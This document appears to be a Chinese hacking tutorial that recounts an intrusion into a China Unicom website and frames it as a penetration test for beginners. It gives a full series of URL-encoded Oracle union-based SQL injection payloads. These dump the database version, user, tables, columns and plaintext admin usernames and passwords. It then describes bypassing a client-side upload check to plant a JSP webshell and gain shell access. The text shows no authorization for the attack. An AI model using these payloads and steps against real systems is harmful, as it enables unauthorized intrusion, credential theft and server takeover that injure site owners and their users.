对中国联通网站的一次安全渗透测试。下面我将渗透测试的过程详细的写出来，以供新手朋友学习。水平还停留在完全依赖黑客工具入侵的朋友可要努力了。  
渗透之前的信息刺探的少不了的，但是我这里就不用大型黑客扫描软件，因为大型扫描软件发送大量的数据包，容易阻塞网络，有时候要视情况而定。那我们直接从WEB系统下手。打开联通的站点,站点做点做的很漂亮。一看程序是JSP的,意料之内，因为很多大型站点都爱用JSP构架的。打开谷歌搜索引擎，收集该站的动态页面。然后逐个测试每个动态连接看是否存在注入漏洞。经过我的仔细检测终于有所发现。这个地址链接是城市专栏的地址,提交一个单引号立即报错了。然后用经典的and 1=1测试返回正常如图1：  
   
用and 1=2返回不正常,的确存在注射漏洞。根据平时的入侵经验告诉我，这种系统的后台应该不是小型的数据库,极有可能是传说中的ORACLE数据库。Dual这个表是ORACLE数据库特有的,我们来看下它是否存在，如果存在就说明数据库为ORACLE。提交：And 0<>(select count(\*) from dual),返回了正常页面。如图2：  
   
数据库现在已经明确了,现在我们来猜解字段数量。提交:order by 1--，返回正常。继续改变数字提交,当提交到order by 7—返回不正常了。Order by 6—是正常的，则说明字段数量为6个。现在我们构造查询语句：and  1=1 null,null,null,null,null,null from dual—有的朋友可能会问为啥不用1，2，3，4，5，6呢？  
因为ORACLE数据库是不自动匹配数据类型的，而null可以匹配任意数据类型，所以这样提交不会报错。 我们提交它返回了正常页面.现在我们来检测当前字段的数据类型，我们在null的前后加上‘’引号，如果返回正常则说明该字段为字符型，如果返回错误有可能是数字型的，如果不是数字型，那么就是其它类型了。  
经过我的测试在第2 4 6位置加上 单引号均返回正常页面，说明这几个字段是字符型的。  
提交的语句：and%201=1%20union%20select%20null,'null',null,'null',null,'null'%20from%20dual—如图3  
   
现在把没用单引号括起来的null换成对应的数字提交：and%201=2%20union%20select%201,'null',3,'null',5,'null'%20from%20dual—如图4：  
   
图中显示了二个null，现在我们把所有的null都换成对应的数字：and%201=2%20union%20select%201,'2',3,'4',5,'6'%20from%20dual—如图5：  
   
终于出现了数字2，等下我们用他爆我们想要的数据。  
现在我们来现在我们爆下ORACLE数据库的版本，把数字2替换成（select banner from sys.v\_$version where rownum=1），完整语句为：and%201=2%20union%20select%201,(select%20banner%20from%20sys.v\_$version%20where%20rownum=1),3,'4',5,'6'%20from%20dual—如图6：  
   
现在来爆当前连接的用户名，把数字2替换为（select SYS\_CONTEXT ('USERENV', 'CURRENT\_USER') from dual）完整语句：and%201=2%20union%20select%201,(select%20SYS\_CONTEXT%20('USERENV',%20'CURRENT\_USER')%20from%20dual),3,'4',5,'6'%20from%20dual—爆出当前连接用户为CHINAUNICOM，如图7：  
   
我们继续爆操作系统的版本，替换为：（select member from v$logfile where rownum=1）完整语句：and%201=2%20union%20select%201,(select%20member%20from%20v$logfile%20where%20rownum=1),3,'4',5,'6'%20from%20dual—根据系统的路径特征显示该系统不是WINDOWS系统如图8：  
   
现在我们来猜下管理员的表名，提交（select count(\*) from admin）完整语句：  
and%201=2%20union%20select%201,(select%20count(\*)%20from%20admin),3,'4',5,'6'%20from%20dual—返回错误，把admin换成user manage manager admin\_user ...等均返回错误。说明不是常规的表段。既然我们常规猜解不成，那我们就把数据库中的所有表都爆出来吧，我们来见识下ORACLE的强大之处。语句：  
and%201=2%20union%20select%201,TABLE\_NAME,3,'4',5,'6'%20from%20USER\_TABLES—成功爆出表名，如图9：  
   
一下爆出了几十个表，我们找下看有那些敏感的字段，我们主要是找出管理密码存放的字段。我列出了这几个字段T\_BB\_USER  T\_USER  UNICOM\_USER UPOWER\_USER。有了表，我们来爆表中的字段，语句为：  
and%201=2%20union%20select%201,COLUMN\_NAME,3,'4',5,'6'%20from%20COLS%20where%20TABLE\_NAME='要爆的表名'--，我们来爆下T\_USER表中的字段，如图10：  
   
结果发现管理表不是那个，我们继续挨着尝试，直到发现是UNICOM\_USER这个表 。爆出该表所有的管理用户：  
and%201=2%20union%20select%201,NAME,3,'4',5,'6'%20from%20UNICOM\_USER—如图11：  
   
and%201=2%20union%20select%201,PASSWORD,3,'4',5,'6'%20from%20UNICOM\_USER—爆出所有管理密码，密码为明文。如图12：  
   
密码已经搞到，现在我们来找下后台。在地址后面输入manage立即弹出了一个管理登陆页面，使用得到的密码成功登陆。如图13：  
   
现在我们来夺取WEBSHELL权限，点击文章管理 增加新闻 在上传附件那选择一个JSP的脚本木马，点击提交马上弹出一个对话框。提示：请选择信息类型！我明明是选择了的嘛，换了一个图片上传，图片能够成功上传的。看来是做了验证，查看网页源代码发现做了本地验证。本地验证很好绕过，这里我给出二个绕过的办法。  
1.保存这段代码为HTML文件，修改验证代码，或者删除验证代码，然后把提交的路径换为网站的路径。  
2.把脚本木马格式改成JPG上传并抓包，在抓到的数据包中修改上传文件名JPG为JSP，然后用NC提交。  
那我们就使用第一种办法，第二种方法比较麻烦一点。我们在上传的页面点击右键 查看源代码 复制代码到一个文本文件中，把文件扩展名修改为HTML。  
把禁止上传的文件类型改成其他的，删除禁止上传的文件类型也可以的。然后把提交的路径改成网站的路径。我修改的如图14：  
   
修改完后用IE打开，本地选择一个JSP木马上传。提示上传成功，得到WEBSHELL的地址。如图15：  
   
通过uname命令查看该系统的信息得知该系统为SUN OS 内核版本为5.9.！